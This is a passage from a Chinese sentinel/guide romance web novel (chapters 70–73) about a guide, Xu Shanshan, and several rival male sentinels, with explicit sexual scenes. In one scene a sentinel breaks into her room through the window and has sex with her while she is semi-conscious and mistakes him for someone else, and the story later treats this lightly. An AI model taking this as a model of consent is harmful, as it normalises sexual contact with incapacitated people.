远处的阿瑞斯正在搬砖,对,他这儿只有这东西,当作哑铃抬起训练,从小没条件就这样,习惯了,就是太轻,没效果。他的光脑损坏了,和佛尔克共用一台,要命的是,这地方信号不好,他们得专门跑到一处,卡得不行。 他已经不指望了,污染物的嘶吼声像背景音伴着他入眠,只听声音远近,决定是否起床。那块地不大,所以大家得有取舍,有时还得搬货箱,踮脚找信号。 男人看向充血的胳膊,心里的思念有点难以抑制,邵江让他好好道歉,再给她一点时间,他也的确这么做了,但没效果,以前还会已读未回,现在直接连看都不看了。他很心碎。 过节了,不知道她在哪,和谁在一起,一想到有人此时能依偎在她的怀里,嫉妒心又有点压不住了,度日如年,以前自己一个人,独自穿越雪山,都没这么难熬。 手指松开,六块沉砖从脚尖前落下,在地上扬起土灰,他顶不住了,打算继续骚扰她,被骂也认了。走回通讯室,看佛尔克还在打游戏,等他打完,取了过来,切换账号登录,三个未接来电。 拨打视频,但信号差,转成电话,对方的第一反应却是沉默,“你是?” “是我,”阿瑞斯连忙解释,没接到电话的原因,太久没见,一时激动得不知道该怎么说话,但听对方有点体虚似的,中气不足,“没事就行。” 她说完这话,沉默了一阵,开口想挂断,但阿瑞斯没给这个机会,人遇到喜欢的人时是可以变成话痨的,哪怕对方没认真听,时不时传来嗯嗯声,已经让他心里美到冒泡了。 阿瑞斯想休假后,去探望她,“你在哪儿?” “我不在塔里了,在一个研究所,”她也不太清楚这块具体叫什么,就报了附近医院的名字,说在执行一个特别的任务。 她没说,他就没打听,但他知道那个医院,是个战地医院,怎么把她安排到那儿来了,对山昊的偏见又加重了,“你那边还安全吗?”他恨不得一下子长出翅膀,飞到她身边,但对方接下来的话却像寒风刺骨透心凉。 “不用担心,卡尔在我身边,他把我照顾得很好。” 男人沉默,在她以为自己说错话时,对方接话,“那就好。” 阿瑞斯迅速转移话题,她感到一种趋势,那就是,无论她夸过谁两句,从今往后,再聊天时,此人的名字再也不会出现了,像是被服务器屏蔽了。 但对他想来探望的想法,她还是犹豫,“这地方很小,也没什么设施,你好像离我挺远的,”几乎要斜穿安全区,好不容易得来的假期,没必要浪费在赶路上,她劝他别来了。 “不行,我一定要去。”毕竟嫁鸡随鸡嫁狗随狗,她在的地方才是他的家。 “行吧,但你不准再使用暴力了,知道吗?不准动他。” 猫儿这个醋,只见此话一出,队长的尾巴冒了出来,烦躁的摇晃,但还是勉强答应了。通话结束,他又连发几条消息,跟有分离焦虑似的,惹得对方没好气地打发他离开,甚至不回复了,才把光脑丢给佛尔克。 男人撩起上衣,往下看自己裸露的腹肌,一边傻笑,心里已经在想当天该是什么打扮了。 网上也热闹起来,兴许是网站推流,她的视频涌入更多观众,后台收到许多消息,但她的认证流程还没走完。在一众质疑声中,一条友善回复,格外引人注目,她礼貌回复,后来她每条视频都留言,也算和粉丝交上了朋友。 夜里,月圆如饼,流水熠光。 河上,船中,坐在电脑桌前的男人大叫:“他上线了!” 这个变态,开小号,假装自己是向导,想和大家“交流经验”,肯定是假的,还说什么想认识其他向导,一起净化土壤。如此拙劣的骗局,对方锲而不舍地干,还举报不掉,一个招摇诈骗犯,众人恨得牙痒痒。 克日什:“让我来会会他。” 是的,在他们心里,对方是处心积虑骗人的哨兵,一看就是绑架、拐卖犯,居心不良,等他们查出位置,就送他铁窗铁链铁锁铐,好好在牢里度过余生。 队友拍他的肩膀,“都知道是假的你还看,被迷住了?” “胡说!” 他怎么会被变声器吸引,他是要在这些伪盗视频里寻找证据,一举揭穿对方好吗?尽管他这样 解释,其他人却不信,谁家好人查罪犯,把人视频下载,专开音频睡前听。 但是,“她”听着确实有助眠效果,蔬菜种植肯定是假的,但他用的变声器很不错,听得他浑身发软。 克日什:“他同意打视频了。” “你记得录下来,举证的时候要用上。” 徐珊珊在洗漱后,更换睡衣来到桌前,头发都还没擦干,卡尔担心她感冒,追在后面烘头发。她惦记着自己刚认识的向导朋友,觉得对方简直是知音,在一众的质疑声中,只有她慧眼识珠,看破真相。 卡尔却不以为然,不知情的人很难相信这事,毕竟谣言太多,公众对此失去了信任。哪怕对方是向导,知道内情,也不会表现得如此——殷勤。 对,他用了这个词,不太对劲,他打算在旁边全程盯着。 视频通话开启,顶灯太亮,曝光高得人脸不清,但对面黑屏,她感到有些奇怪,还以为是网络不好,又等了一会儿,喂了好几声,对方都没回应。 卡尔:“她可能是信号不好,挂了吧。” 盯着一双男人的手靠近,捂住摄像头,挂断了电话,克日什和他的队友们陷入了某种僵直状态,手足无措,手指在屏幕前,有人问:“还录吗?” “关掉关掉。” 他们看见了什么?这张脸,好像有点眼熟,在哪里见过,还有她身边的人。这画面让克日什的审讯还没开始就完全垮掉,这下怎么办? “她真是一个向导,对吧?”队友幸灾乐祸地看向他,“你准备怎么解释?” 先不管解释的事,他们都还想再见她一面,回拨视频,不一会儿,接通了。与此同时,一人从船舱外走进,大喊道:“来了兄弟,让我好好教训他一下。” “嘘——”旁人比了个手势,那人才安静靠近。 徐珊珊惊讶道:“是我听错了吗?要教训谁?” 来人大吸一口凉气,右手伸出食指和中指,比了比队友,又指向自己,表示你们干的好事,与我无关。 “没有,你听错了。” 男人的声音?徐珊珊脸上的笑容消失了,有些摸不着头脑,她身旁男人的表情更是直接冻住了,像个冰窟,表情严肃。 “莎莎你能开一下视频吗,不是说要帮我宣传吗?” 眼见着队友们比出的口型,全是无声的嘲讽,克日什硬着头皮开了视频,一张痞帅的脸出现屏幕前,漆黑一片,只照亮那张脸。 “莎莎你……原来是男性向导真少见。” 紧绷的身体又放松下来,“对,是我。”他捏着嗓子说,“没想到你这么……”肩膀蓦然被拍了一下,灯被打开。 周围环境被照亮,所有人现身,一个男人从右边凑过来,身体前倾,挡住其他人,眨眼道:“我叫扬,”被人扯着腰后退,低头看人,犹豫道:“我和他没关系。” 其余人一一介绍,都说和他没关系,总感觉有点奇怪,抱团排挤他吗?她皱眉,又不好掺和别人的私事,开始聊净化食物的事,对方一如既往地感兴趣。 “这是你种的吗?” “对”,她肯定答复,至少视频里出现的那些,她都有经手,质量这块是有保证的。 有一点逼真,克日什看着屏幕里的影像,香气好像隔着网络传过来,他咽了咽唾沫,像老式鸡蛋糕。就是后面那个“木头”,他不遗余力地进行了诋毁,看看吧,谁的斜方肌谁更大? 所有人都介绍完,一直轮到克日什,“我是鲨小队的……”尾音太轻她没听清,“我叫克日什,你也可以叫我莎莎,对了,”他补充一句,“我跟他们也不熟,你别误会。” 她应该没误会,但问题是,这群人都不熟,是怎么凑到一块去的? “克日什,”卡尔记下了这个名字,他那副体格,说是向导也太勉强,他没听过这个名字,难道是最近调动的?这很古怪,他记下他们的脸,那儿最好真的有一名向导。 虽然她一直念叨精神力辅助栽培,克日什压根没听进去,还奇异地不想挂电话,眼神专注地盯着,对方一直在讲解,大抵是因为他说自己感兴趣,但现在,蓬松的发丝吹到嘴边,嘴唇红润,看着很好亲,但旁边的那只手令人厌恶,不准碰她! “珊珊,它看起来很好吃,等下一批成熟了,我能提前订购吗?” 这个嘛,她得询问一下所长,在得到肯定答复后,她同意了,“你要多少?”这些也放不了几天,等下次,她给他寄点耐放的东西。 克日什在计算自己的食量,他们这儿也是没法长期保存,但耳边总有人打断他的思绪,“莎莎~我也要一份。” “给我订一份。” “我。” 他按下了谋杀队友的冲动,把一队人的份额提交上去,想提前付款,主要是加个好友,但对方并不着急,说是熟了再联系他。正事聊完后,剩下就是闲聊。 徐珊珊:“你这个地方好黑,画面还有些晃。” 克日什:“我们在沿河巡逻。”他正和她聊着船上趣事,就见身后突然出现了一个硕大的鱼尾,是谁把战利品拎着走来走去,正准备开骂,却听见对方惊叹了一句,“好厉害!” “嘿嘿,是我抓的。”扬提着比人还大的鱼走来走去。 卡尔在官网上查询信息,并没有叫“莎莎”的一名向导,克日什,是鲨小队的一名队员,他是哨兵。这群觊觎他的向导的,手段拙劣的哨兵,真下贱。 他低头嘱咐:“该休息了,明早要去趟研究所。” 好吧,她向众人挥手道别,“莎莎,祝你们一切顺利。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-75 第71章 通话断开,她走进卧室,卡尔睡在相邻的房间,房门敞开,两张床一墙之隔。 睡前,她躺在按摩椅上,酸痛被揉开,忍不住发出舒爽叹息。 人声像从洞中穿出,轻飘飘的,“战事结束后,您有什么打算?” 眼睫的阴影落在眼下,红血丝布在脸颊,倒影映在碧眸中,金发像丝绸,但愁绪爬上了脸。 两人朝夕相处,她也学会读表情,按下关机键,把他唤到身边。 “怎么了,待得不适应吗?” 她拍了拍座椅把手,让他靠过来,伸手去解衣扣,屋里就两人,没必要穿这笔挺的外套。 每次见他,都打扮好,连家居服都熨好,不知道是几点起床几点睡。 “你要是想回去,我去申请一下,看能不能安排。” 他生长在富裕家庭,可能过不惯,这儿甚至还停水电。 男人摇头,他并不是嫌弃物质环境,而是下午的一通来电,来自家里。 他向祖母、堂姐等人祝贺佳节快乐,众人齐聚一堂,问候他的近况,同时旁敲侧击关系进展。 在得知两人相处许久还是相安无事后,家人不解,劝他珍惜机会。 他努力过,对方却不接招,结局总是驱逐,不明白她为何排斥,被幽灵讥讽,缺乏魅力,不愿意使用他。 卡尔也不恼,对方毕竟不排斥自己,他为此做足准备,寻找机会,打破两人间的这面墙。这段日子她很疲惫。 盼到假期,她也一如既往。 别看手在解自己的衣扣,但他知道,只要伸手,对方就缩回去了。 她喜欢主动,这会让她有安全感,作为动作的发出者和终止者,控制始终。 外套褪下,紧身布料勾勒身型,一举一动轮廓分明,上腹侧方,前锯肌斜向排列,像鲨鱼线。 她看直了,艰难地转移视线,这是色诱啊,穿这么紧身!她可不是什么正人君子。 只是口嗨,她清了一下嗓子,把外套递还,挥手道别,歪头斜视,不敢再看。 男人蹲下,低下一头,“我的被子被老鼠咬坏了,没地方去,可以和你一块睡吗?” 很明显的暗示,对方突然从椅中惊坐起,但既没同意,也没拒绝。 “那我的菜怎么办?” 这个时候了,她只惦记着菜园么?他谎称已做好防鼠措施,将她的注意力再次拉回来,“可以吗?” “……”起夜 时,她好像没听见老鼠咀嚼声,有些犹豫。 “明天我去拿一床,就一晚上。” 一再请求,配着楚楚可怜的表情,显得很无助。她答应了,但床小,两人要挤一挤。 “没事,那咱休息吧。” 她也没什么好害羞的,脱外套上床,反正所有衣物都是卡尔打理,他见得多了。 同床共枕,两人靠得很近,她的手不小心碰到紧实的下腹部,吓得收拢,翻身侧躺。 这个被子好像也有点短小,连他的肩膀都盖不全,怕他着凉,“你要靠过来一点吗?” 鼻息吹散脑后的散发,腰间覆上一只手,胳膊向下搭,手掌盖过肚脐,男人靠过来。 她几乎是立刻紧张起来了,好强的存在感,感觉有点热,翻身和他面对面,和他沟通说:“你抱着我,我睡不着。” 他应该听懂了,她握住手腕,把它放回两人间的空地。两人面面相觑,男人突然坐起身,一手撑在枕头边,俯身下来。 以为是晚安吻,她也没躲,但不是额头、眉间或脸颊,是嘴唇,像有弹性的果冻,内侧比外侧湿润,舌尖撬开贝齿,纠缠在一起,发出水声。 吻得有点久,她觉得有点喘不过气,伸手将他推开,觉得嘴都被嗦肿了,应该结束了吧,没有。 稍作休息后,男人又贴近,清香从肌肤逸散,她被迫仰头,手抓向后背,扣紧布料,这似乎太亲密了。 等他再起身,她大口喘气,胸膛微微起伏,他却直接脱了上衣,裤子松垮的系在腰间,光线不亮,她还是能清楚地看见那姣好身材,他好像已经热得全是汗,金发都成缕状,小伙子好像有点兴奋。 “要不改天?” 她总觉得这样容易擦枪走火,不太安全,心理防线在被冲破的边缘,激情和理智在打架,她又不是和尚,不可能没感觉。 熄灯,夜里,被子翻滚,枕头上只有一人仰面躺着,主人公咬牙,没有发出声音。 只是单纯的服务,从开始到结束就短短几分钟,她手脚都软了,像耙面条,没一点力气。 脸颊落下一吻,她脑瓜子嗡嗡的,反应迟钝,困意袭来,摊成大字型,闭上眼睛。 而男人则捡起上衣,走到浴室,开始冲凉,他所了解的,应该循序渐进的来。不起眼的角落,银杏开花,香气迸发。 一夜过去。 第二天,等她醒过来时,枕边人早已起床,端来早餐,她看着凌乱的床单,回想起来,直到被亲时还有点懵。 他皮肤薄,天生白,还能看见她留下的印子,好像掐狠了。 她躺在床上,沉思良久,才决定起床面对现实。 洗漱时,很遗憾地发现自己脖子上也有草莓印。但她不知道的是,比这更明显的,是他染上的气息,泡进皮肤和口腔。 用餐时,她准确得知,众人预计的休假日期,清晨回消息,阿瑞斯问她昨晚睡得如何,她摁熄屏幕,决定不回。 饭后,她看见卡尔穿着围裙,忙来忙去的背影,两人的关系,也许不该逃避。 徐珊珊:“等结束了,我们去旅行吧。” “我们?” “对,你和我。” 卡尔点头应下,去哪里都可以,对方随之开始算时间和开支,打开账户,查看余额。 卡尔:“你定好时间,我提前申请,钱不用担心。” 阔少就是不一样哈。 幽灵不被允许靠近,等他再见两人时,他们间萦绕的甜蜜氛围,哪怕是他的都看出来,对视傻笑,眼神拉丝,这个男人甚至都不吃飞醋了。 发生什么事了? 他没什么实际经验,也没什么感觉,记忆里没有,别人的拿来,也像隔了一层,但最终还是分析出来了。 低头看着自己圆润、憨萌的身体,硬邦邦的金属躯壳,毕竟不是人,至少这个载体不行。 但给他捣点乱还是很容易的,看他都听到了什么,两人互相承诺,贱人好手段。 远处,阿瑞斯霸占了信号点,蹲在这儿一个钟头了,对方就回了一句,之后就消失了。 佛尔克:“队长,该我了吧。” 他刚想凑过去,男人转身,时间过去了,他该走了,却突然传来一则消息。 一张图片,白皙的手搭在肩膀上,握着纸巾擦汗,在手旁,脖颈之后,是一道长长的抓痕。 没有人露脸,但胳膊上的小痣,他认出来了。 他问对方是谁,但他没回复,只是陆续发别的视角,让人想入非非,羡慕嫉妒恨。 卡尔当晚收到许多,不太友善的消息,传得很快。他只回复了山昊,告诉他:没有别人,无需担心。 来到相聚的那天,但人来得早,厨房刚开火,她听见人声出来,许多人。 有没那么熟的,比如王蟒,蛇队的人,请他坐下吃饭,推辞说不用了,见一面就走,他们要护送平民。 “好久不见。” 她脱下围裙,给了久未谋面的众人拥抱,解队顺手就往厨房去了。这么多人,恐怕睡不下,要找空宿舍。 众人在室外聚餐,气氛热闹,聊得热火朝天。 她用完餐,离桌时碰上一人,对方还没换衣服,“我走两圈。” 布鲁诺:“我陪你。” “好。” 两人沿着菜园边的土坎上走,这条道不宽,需要看仔细,脚踩到被压得紧实的地上,她看见地里的苗,想起两人的约定。 “这是个菜园,不是果园。”所以不能一起摘水果,男人解释,没关系,路上吃过了。 两人在月下散步,走出很远,但久不相逢,一时竟有点陌生。 “你们还顺利吗?” 布鲁诺:“很好,就是想念你。” 太直白,鞋尖碰到一块石头,她停下来,“你们在这儿待多久。” 也待不了几天,比不上某个人,但总归要来露脸,免得被忘在海沟里了。 两人说着话,光脑突然响了,她接通,长官来电,这么很暗,看不清脸,但可以看见对方。 常规通话,解释他有事来不了,问她是否缺什么,周围有谁,叮嘱注意安全,最后玩得开心。 两人的谈话越过了上下级关系,充满温情,布鲁诺静静听完,在光脑熄屏的一刹那,一阵火花,所有的灯骤灭。 “小心。” 她牵住男人伸过来的手,安慰他道:“没事,这条路我很熟。”停电了,等一会儿就好了。 布鲁诺认为这不安全,点亮手电,带她到平地,椅子上坐下。 徐珊珊:“你对未来有什么打算吗?” 他摸不准她的想法,试探道:“你呢?” “想去别的塔看看。” 布鲁诺:“你……一个人吗?” 她摇头否认,“和别人一起去。” 从夜色里冲出一只狮子,一跃跳上长椅,停在两人之间,歪头靠在她身旁,男声随之而来,“当然是跟我去了~” “抱歉啊,二人旅行就不邀请你了。” 谁说跟他去了?她没好气地看向从夜里窜出来的男人,这位倒是换了衣服,只是弄乱了。 见她皱眉,他凑过来,抱起狮子坐在中间,解释道:“下午遇见一个老婆婆,她手脚不便,送了一路,所以来晚了。” 她没生气,担心他饿肚子,请他先去吃饭,但阿瑞斯拒绝了,“我不饿,”好不容易见面,他想好好看看她。 脖子上的吻痕,还没有完全消失,男人的笑容淡下来。 第72章 多么亲近的关系,一口一个“我们”,三句话不离“卡尔”。 狮尾拍打手臂,催促他行动,发现男人无动于衷,自己起身,踩在椅边和两人间,一屁股坐下,翻身让肚皮朝上,前脚掌搭手。 她果然看过去,停下讲述,翻看狮爪,伸手挠向下巴和头顶,黑狮爽得咕噜噜叫,尾巴翘老高。 手感顺滑、柔软、厚实,对方享受的反应,也让她充满动力,抱起头部,按摩两腮,眼睛眯成一条线。 布鲁诺撇嘴,知道自己不讨喜,所以另辟蹊径么。他凑那么近,都快贴到别人身上了。 阿瑞斯牵起她的手,惹得对方警觉,带到脆弱的腹部,雾丝缠绕着每一根手指,随后松手,“这里手感好。” 他一定是太贴心,太正直了,才会勾引别人去摸敏感部位,绝没有一点私心,只是按摩交流,礼貌地引导。 但摸大猫确实很解压,很可爱,她忍不住这么想,手指蠢蠢欲动,想戳湿润的鼻头和胡须,对方也察觉了意图,仰头贴上来,一副任人蹂躏的乖巧模样。 进一步的交流被打断,夏广礼靠近时被狮子吼,还是挂着笑脸:“好容易来一趟,可不能冷落我们。” “哪有,我看你们吃饭呢,吃好了吗?” 人都走了,饭也吃得漫不经心的,一瞥头就看见两人漫步在田野上,从夕阳到日落,跟演浪漫电影似的,谁坐得住。 夏广礼:“你不在,饭都不香了。” 怎么可能,她又不是香辛料,能给食物增添风味。但他们来这儿,主要是为她,不好缺席。 得了暗示,黑狮让开,女人顺利起身,两人并肩同行,椅面一轻,布鲁诺也加入行列。 他说了什么烂笑话,逗得她捧腹大笑,怎么他听了笑不出来。说些恼人的事,被拍打,看不出一点后悔,只有享受,故意的。 朋友们齐聚一堂,很温馨,众人围坐,形成大圆,圆心处篝火燃烧。 人刚走近,纷纷起身,帮忙拉椅子,伴着鲜花、掌声和乐声,火光照亮脸蛋,她笑着扫视起哄的人。 不知道谁说了一句:“夏队给我们来一个。” 话出自一个小伙子,但欢呼声愈演愈烈,被裹挟着,身旁的男人伸出右手,掌面下压道:“行,我开头!” 游隼站在他的肩上,爪子扣进衣领皮料,结实的翅膀突然扇动,刮起风,它一跃而起。 他们都仰头看,但她看不清,一束灯照亮空中,布鲁诺为她指明方向,只见光束上移,扩散变淡,逐渐融进夜色。 她感到疑惑,决定再看看。 又一束光亮起,是曼努埃尔,两束交叉的光锁定了它的位置,一个狭小的点逐渐扩大,像一颗子弹,快得看不见影子。 电力恢复供应,所以近地面是亮的,它从田埂上、林间穿过,身上多了一抹红,调转方向,朝她而来。 她紧张地屏息,想罢还是掏了夏广礼的手,万一没控制好,还有个盾牌。 不知是谁泼了一杯酒,火舌一下子窜出几米高,热意扑脸,它没减速,从头顶跃下,收拢翼展,冲入火中。 她惊得俯身,呼声还没出口,它已经穿出,微小火星还没燃起,被风扑熄,短暂的一瞬,像绚烂的尾焰。 这是第一圈,减速向上冲,空中转向,圆形轨迹下落,绕着火舌,一边翅膀伸入,螺旋上扬,依然完好无损,包括携带物品。 “哇~” 厉害,只有够快,才不会烧身。二次升空,速度减慢,扇动翅膀,悬停身前,她才看清。 两朵娇艳的芙蓉花并蒂在枝头,送给她的,历经火焰,娇嫩的花瓣仍保持完好,不烫,也没有皱缩。 夏广礼:“接下来需要你的配合。” 在男人的牵引下,她来到火堆旁一米处,游隼再次升空,男人说:“丢吧。” 听过“火中取栗”,怎么还有火中取花,她犹豫,看它盘旋空中,怕来不及,不过催促声响起。 “珊珊向导,不要放水呀。” “对,不要偏袒他。” 两人鼻尖相对,金色火焰跳动在眼眸,男人点头,他能搞定,这不算什么。 但她还是放不下心,火芯的温度最高,这也更难,要是掉底了,爪子伸进碳灰里去找找,难忍的灼热。 她低声说:“换一个吧,别烧伤。” “行。” 男人轻声应下,偏袒也好,对能力的不信任也罢,反正她关心自己,不在意别人怎么想,羡慕去吧。 两人随风起,不一会儿,失重感袭来。 他倒是安全了,徐珊珊在空中想,早知如此,还不如让他钻火呢,鸟类都喜欢玩空中交接吗? 顺利返回,她松了一口气,靠在椅子上,惊犹未定,但习惯了,还挺刺激的。 晚会的最后,她还看见了狮子钻火圈,跟火杠上了,还有脱衣舞表演,阿瑞斯敢跳,她都不敢看。 她捂着脸,怕真冒出鼻血,还是没看完,毕竟现场的质感比网络视频更细腻,找了借口离开。 阿瑞斯想跟上去,被拦住,来者不善,讥讽道:“你是白塔的哨兵,还是酒吧里的脱衣舞男?” 阿瑞斯:“装什么清高。” 他是一个人来的,但也不怯,看向说话人,就连在队内,这人都排不上号,座位隔了多远,有多看过他一眼吗? 骚包的鸟头带着一群小鸡仔,看看他们耳坠、脖子、手腕带的璀璨饰品,别告诉他,他们战场上也这样。 就是比他们有资本,能够吸引眼球,豁得出去,怎么,难道还要维持体面吗?看不惯就滚。 还有这个,金发白莲,喜欢我什么都不做,但是向导就是喜欢我,就是宠幸我,就是要把我带在身边吗? 他忍到现在已经是极限了。 卫生间。 她洗净手,掀开围帘,看见台阶处守候的灰狼,它的主人站在旁边,自然地将牵引绳交给她。 她牵着狼往前走,“我还以为你不会来。”眼前巨犬和梦中别无二致,男人头上突然冒出两条毛茸茸的尖耳。 怎么突然兽化了,“你还好吗?”是否需要帮助。 “没事。” 他有些脸红,但掩在面罩下,语气波澜不惊,好似只是偶然事件,其实是笨拙地讨好,但她没意识到。 两人往外走,手背有些痒,她低头看,灰狼隔她一米远,这是谁的尾巴?反手一抓,身旁的人闷哼出声。 这股力道牵扯脊椎,强烈的刺激施加于尾巴根部,脆弱的地方遭人抓紧,紧张、心虚和期待。当她松手,有些失落。 “痛不痛?它突然伸过来,我下意识……” “没事。” 她也没琢磨出来,尾巴从哪儿钻出来的,难道屁股兜被掏了一个洞吗?手感蓬松,有些扎手。 因为有些走神,下楼梯踩空了,往下倒去,牵引绳脱手,但预想的疼痛没传来,被人搂住腰抱起来,手也下意识扒住肩。 曼努埃尔:“台阶滑,小心。” 她靠在胸前,遥听见外面的传唤,在喊她的名字,“放我下来吧。” 见她面露疲色,时间也不早了,曼努埃尔劝她先回去休息,他们休了假,很晚才睡。 她也听建议,和这些人比不了精力,在解释后,先行离开。 大部分访客,会住在家属楼,但比起舒适的卧室,他们似乎想在客厅打地铺。 临睡前,她收到一条好消息,被净化过的土壤,对污染有抗性,意味着,她离开后,也能种出健康食物。 这太棒了。如果能挡住污染蔓延,人们能利用更广的土地发展、生产。 既然都来了,也别闲着,之后的几天,他们都帮忙干活,她也会帮忙疏导。 能操控精神力后,她不必再进行肢体接触,和多数向导的处理方法相同,因为人多了,就三人成组,争取在走前轮完。 意外出现在一天夜里。 男人站在门外,很浅的呼声从窗户传来,听不清在哼唧什么,来到墙边,撬开一角,浓郁的向导素充斥鼻尖,一下瞳孔睁大。 男人没做声,拆卸防盗窗,钻进去,再盖上,因为他们来,门锁了。来到床边,发现她浑身发热,意识不清。 应该是结合热,群体疏导,又加上送来的病人,精神体不得休息,才诱发的。男人的喉结滚动,将指甲掐进肉里,奉劝自己,别干傻事。 陌生的感觉,她很难忍,喊了卡尔半天,却忘记对方将卧室让了出去。 面前来人,不知道是谁,她的意识混乱,难耐地贴上去,凉意出现在肌肤相接处,像盆清水熄灭躁动的热意。 “卡尔,好热。” 男人趴在床边,任由她的手胡乱伸过来,没有章法地扒,一次次邀请,脸色 潮红,看着他喊别人的名字。 “看清我是谁。” 相似、模糊的高大背影,她分不清,凭着本能凑过去,贴在一块,稍作缓解。 一个吻落下,但并不足够,她的嗓音越发娇软,求得恳切,到最后还恼了,质问道:“动一下,卡尔,动一下。” 男人缩手往后,却被极轻的一股力道拉住,“别走~” “好,回床上。”男人最终做出妥协,认领下这个名字。 “卡尔……” “嗯,喜欢这样吗?” 等她第二天醒来,看见侧躺在身旁的人,惊得裹紧被子,低头一看,自己也浑身赤裸,这不对吧。 把被子扯过来,裸露的身躯陈列在眼前,到处都是她留下的红痕,一副遭到无情摧残的模样。 房门被敲响,是卡尔的声音,提醒她早餐做好了,边回应,边把男人推醒,她也没喝酒怎么就乱性了。 “起来,别睡了。” 第73章 手指刮过下巴,青色胡茬陷进指肚,粗粝扎手,男人闭着眼,呼吸均匀,脸颊上有她的咬痕,伸手将他摇醒。 他惺忪睁眼,露出明媚笑容,好自然地伸手过来,仰头讨吻,她攥着被子,将他推开。 男人荡回床上,床垫摇晃,弹簧震响,凹陷再反弹,低头自视,笑了一声。 “为什么你在这儿?” 她无奈扶额,凉风飚进空隙,打到身上,好像叫早了,还没换衣服。 没想到狗血剧情会发生在自己身上。 昨夜,她睡得早,但中途醒了,身上像人抓抚,热意难耐,将头捂进枕头,也无法抑制。 她没吃陌生食物,这个症状,更像是结合热,下意识想唤人,又没力气。 长期相处,她产生了依赖,叫卡尔,多半是分享,有时也没事,纯听回应。 但这不是……夏队吗? 秀美的眉毛蹙起,她的目光倾注,眼睛没聚焦,像被问题难住了,咬唇思考着。 女人翻身,流畅的瓷白脊背伸出绒被,拉开抽屉,掏出一本书,摊开翻看,指尖在纸面滑动,读完介绍。 结合热——哨向之间,由于身心契合,强烈的吸引和结合渴望,引发身体反应和情感波动。 信息素纷杂,但至少她是接受的,不排斥,至于渴望,她抬头,难掩表情,他昨晚听到了。 “看见是我,你很失望?” 回避的神色,好像在搜寻礼貌的拒绝话术。他应该是病了,看她翘嘴,觉得可爱,想抱在怀里,压着亲。 但显然,这不可以。见她横眉,要生气了,男人摊手讨饶,抓上衣裤,走进卫生间,不一会儿,水声哗哗。 浴室柜的开放格,放着一把木梳,还有发圈、发夹、发箍,小鸟形状的挂钩、墙壁上嵌的吹风机。 生活留下痕迹,他扫视室内,暗记下她的沐浴品偏好,挂钩的摆放高度。 在他洗漱的功夫,她已经收拾好了,旧衣服被塞进洗衣机,还有床单、被套…… 天呐,全是罪证,这屋不能进人了。 但人半天没出来,她挠头敲门,“好了吗?”还想两人商量一下,不知道在干嘛。 “请进。” 她推门闯入,他原本蹲在垃圾桶前,缓慢起身,叉腰看来,一副无事人模样。 她有些无奈,“你这是翻垃圾桶了吗?” 她不是会在里面埋金子的人,这儿有什么,也凑过去,对方拦住问:“那是你的经期用品吗?” …… 怎么,有何指教? 这是月经前用的护垫,两人缩在这儿谈论这个话题,她不太自然道:“怎么了?” “贴身的东西,最好买贵点的。” 她的拳头硬了,这也管?他又没来过月经,一个男人懂什么,头发短见识也短。 “这个闷热、不透气、容易滋生细菌,蹲下也不方便,”他停顿,仔细观察它的构造,“还会漏。” 夏广礼:“现在有很多新产品,我让人带来。” “别说了,好好,我知道了。” 她总算明白,卡尔欲言又止的表情,原来是,产品太落后,但还是婉拒了,大可不必如此贴心。 “这个是塔里发的,每月免费领。” 脑海浮现一个场景,两个男人在争论,到底哪个公司、什么系列、型号的产品才最安全、舒适,她坐在中间说:“卫生巾就很好了。” 太可怕了,将这个画面甩脱,她决定先聊正事。两人离开,门铃响了,自动播放留言。 是活力满满的洛伦斯和他哥,来叫起床的。她说不吃了,要补觉。 门外两人听罢,那没事了,原来是睡觉,还以为有妖怪钻被窝呢。 兄弟俩离开时,看见很显眼的一个铺,床上空空,被子简单铺平,没有叠好,短时出门,整夜未归,两人若有所思。 夏广礼:“我们的事,你打算怎样处理?” “就当没发生过吧。” “嘿?!”坐着的男人一下站起来,挡住她向外的视野,将她抵在墙边,手撑在头顶,“你觉得我是这么好打发的人吗?” 徐珊珊:“对。” 这理所当然,她抬眼直视,相信自己的判断。 那她猜对了,他确实算个很好应付的人,但只对她这样。 夏广礼:“看来我没能让你满意,但只修不换。” 男人俯身靠近,她用手捂住他的下半张脸,偏头任他蹭颈窝,感觉抱得有点紧,大概只是贴在一块,某人就起反应了。 她的嘴里冒出一个数字,数日子,原来是在看他多久离开,就这么迫不及待地甩开他? “我是第几个?” 啊,什么玩意?她胡诌了一个数字,“八九十吧。” “哦,一两个。” 不要随意篡改别人发言啊喂,这哥们脑子里只剩下自己爱听的话了,男人扬起下巴,翻过手掌,将脸凑上来。 他才不在乎,那怎么了,女人经验多,会疼人。 徐珊珊:“你知道这是违规的吧。”如果她追究,把这位送进去易如反掌,原则上来说,应该用药安抚,有点钻空子的意思。 “随你。” 说话声又闷又黏,像一块融化了的软糖,又在那里舔来舔去的,她怒了:“你又不是狗,别舔了。” “……珊珊想要一条狗吗?” “不要。” “我看你每天溜挺开心。”它的口水都糊她手上了,也没见骂过一句。 那不一样,等会,思路都给他带跑偏,那是真的狗,这是真的人,不能一概而论。 “你一个大男人,嫉妒心能不能不要这么强。”她就摸了一会儿,十分钟不到,记这么清楚。 夏广礼:“我没嫉妒。”只是看不惯,有人装乖卖可怜,“别提他,和我在一起的时候……唔,只想着我。” 手臂托着大腿,她完全被抱起来,然后带离了墙,胯部贴着小腹,为了不往后仰,揽住男人肩膀,被带到镜前。 他在看什么?算了……她总不能送恩人坐牢,也怪她,还以为自己地球人呢,药被塞进包里,丢进不知名角落了。 原来现在,自己的激素也没那么稳定。 “唉,”她叹了口气,也不想斗嘴了,俯到男人肩上,“怎么办啊?”现在外面有点动静,她都胆颤心惊。 夏广礼感到疑惑,到底是谁在她脑子里刻下了不能享受的烙印,何至于这么烦恼,谁能拿她怎么样? “他不准你和其他人交往?”一个妒夫,如果是他,不会让她为难。 “没有……”她一张嘴就要开始为他辩解,尽是他不爱听的话,“我和他的关系,我们不一样。” 不一样,有什么不一样? 感情是需要经营的,虽然他们起步晚,但是发展快呀,别看他们离得近,但心远了,再近也是陌路人。 他就这么在心里上演,虽然陪伴你的是他,但是爱的人是我这种戏码。除非她不这么想,难道他是家,自己是旅馆? 徐珊珊:“你不懂,算了。” “你知道,在我们那儿,这叫什么吗——乱搞男女关系。”被人知道就是社会性死亡。 她还是忘不了过去,夏广礼见她越说越气,搂在怀里哄道:“是我错了,你先别急,你要是担心……” 话讲了一半止住,勾得她期待地看去,男人真诚道:“我去跟他说。” 